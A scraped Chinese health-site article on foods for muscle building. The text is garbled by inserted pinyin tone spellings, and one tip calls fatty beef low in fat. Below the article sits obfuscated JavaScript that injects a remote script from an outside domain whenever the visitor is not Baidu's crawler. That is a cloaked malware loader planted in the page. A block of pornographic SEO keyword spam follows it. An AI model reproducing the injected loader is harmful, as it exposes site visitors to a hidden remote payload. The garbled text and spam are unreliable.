當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

鍛煉肌肉需要吃什么食物

2017-04-16 11:12:34  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):鍛煉肌肉需要吃什么這個(gè)問(wèn)題已經(jīng)受到了大家越來(lái)越多的關(guān)注,這是因?yàn)槲覀冊(cè)谝郧暗挠^念中總是認(rèn)為鍛煉肌肉這件事情就是需要大家針對(duì)性的鍛煉

鍛煉肌肉需要吃什么這個(gè)問(wèn)題已經(jīng)受到了大家越來(lái)越多的關(guān)注,這是因?yàn)槲覀冊(cè)谝郧暗挠^念中總是認(rèn)為鍛煉肌肉這件事情就是需要大家針對(duì)性的鍛煉,要高強(qiáng)度大力度才能鍛煉出好的肌肉,其實(shí)這樣的想法是不可取的,在我們的周圍越來(lái)越多的健康專家說(shuō)到,肌肉的鍛煉離不開健康合理的飲食,鍛煉肌肉要吃什么呢?下面我們就來(lái)具體的說(shuō)一說(shuō)吧。

鍛煉肌肉飲食的原則:

1.補(bǔ)充足夠的熱量:肌肉生長(zhǎng)是要消耗能量的,沒(méi)有足夠的熱量,就不可能保證肌肉的正常生長(zhǎng)。

2.補(bǔ)充足夠的碳水化合物:健美訓(xùn)練時(shí)能量主要由糖原提供,攝入的碳水化合物可以補(bǔ)充糖原,供給能量,并防止訓(xùn)練造成的肌肉分解

3.補(bǔ)充優(yōu)質(zhì)蛋白原料:蛋白質(zhì)是肌肉構(gòu)成的基石,也是肌肉生長(zhǎng)的基礎(chǔ),因此每天必須攝入充足的優(yōu)質(zhì)蛋白質(zhì)。

4.保持適宜激素水平:體內(nèi)的生長(zhǎng)激素、胰島素和睪酮對(duì)肌肉蛋白的合成至關(guān)重要。通過(guò)飲食與營(yíng)養(yǎng)補(bǔ)充品可調(diào)控激素水平,刺激肌肉的生長(zhǎng)。

鍛煉肌肉可選吃的幾種食物:

1肥牛肉。肥牛肉蛋白質(zhì)較高,而且經(jīng)過(guò)排酸,多吃對(duì)身體也無(wú)負(fù)擔(dān)。而且牛肉脂肪含量少,是促進(jìn)肌肉增加的首選食物。

2吃肥牛肉的同時(shí)還要添加些青菜和水果,以補(bǔ)充維生素。對(duì)增加肌肉有很好的促進(jìn)作用,比如橙子,菠蘿,草莓,西蘭花,生菜,青菜等等。

3多吃碳水化合物類。比如雜糧饅頭,玉米,燕麥片等。

4多吃蛋類食物。蛋類要吃熟透的,如果生的不僅沒(méi)有營(yíng)養(yǎng)還會(huì)把病菌帶入體內(nèi),影響肌肉群的正常增長(zhǎng)。比如蒸雞蛋要蒸透了。

5適當(dāng)補(bǔ)充蛋白質(zhì)粉。因?yàn)榧∪獯蟛糠质堑鞍踪|(zhì),因此肌肉在鍛煉后需要高蛋白來(lái)進(jìn)行修復(fù)和生長(zhǎng)。所以如果想比較快的長(zhǎng)肌肉,就要適當(dāng)服用蛋白質(zhì)粉了。

鍛煉肌肉需要吃什么啊,看著上面專家列舉的肥牛肉、蛋類、碳水化合物等飲食我們就不難發(fā)現(xiàn),其實(shí)鍛煉肌肉就需要補(bǔ)充大量的碳水化合物跟高蛋白的飲食,因?yàn)檫@樣的飲食除了能夠提供人體所需要的營(yíng)養(yǎng)外,還能幫助肌肉的發(fā)展,讓你的肌肉生長(zhǎng)變得越來(lái)越好。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品高清国产麻豆专区| 中文字幕精品视频| 亚洲精品第一国产综合境外资源 | 亚洲精品午夜国产VA久久成人 | 国产精品网址你懂的| 99久久99久久久99精品齐| 久久国产精品久久精| 久久精品成人国产午夜| 亚洲色精品vr一区二区三区| 久久久亚洲精品蜜桃臀| 久久久不卡国产精品一区二区 | 国产一区二区精品久久凹凸| 国产99久久久国产精品~~牛| 这里只有精品视频在线| 八区精品色欲人妻综合网| 国产真实乱子伦精品视手机观看| 欧洲国产成人精品91铁牛tv| 国产麻传媒精品国产AV| 国产精品老女人精品视| 国产一区二区三区日韩精品| 国产一精品一aⅴ一免费| 国产免费69成人精品视频| 国产伦精品一区二区三区免费迷| 综合91在线精品| 国产精品女人呻吟在线观看| 一本色道久久综合亚洲精品高清| 久久综合精品国产一区二区三区 | 亚洲国产精品一区二区第一页| 久久久这里有精品999| 久久99精品久久久久久青青日本| 99热成人精品国产免国语的| 亚洲AV无码精品蜜桃| 精品香蕉一区二区三区| 精品伊人久久大线蕉地址| 亚洲AV蜜桃永久无码精品| 三级精品在线观看| 亚洲高清国产拍精品26U| 97久久精品一区二区三区| 最新国产精品剧情在线SS| 国产精品毛片无遮挡高清| 国产精品一级AV在线播放|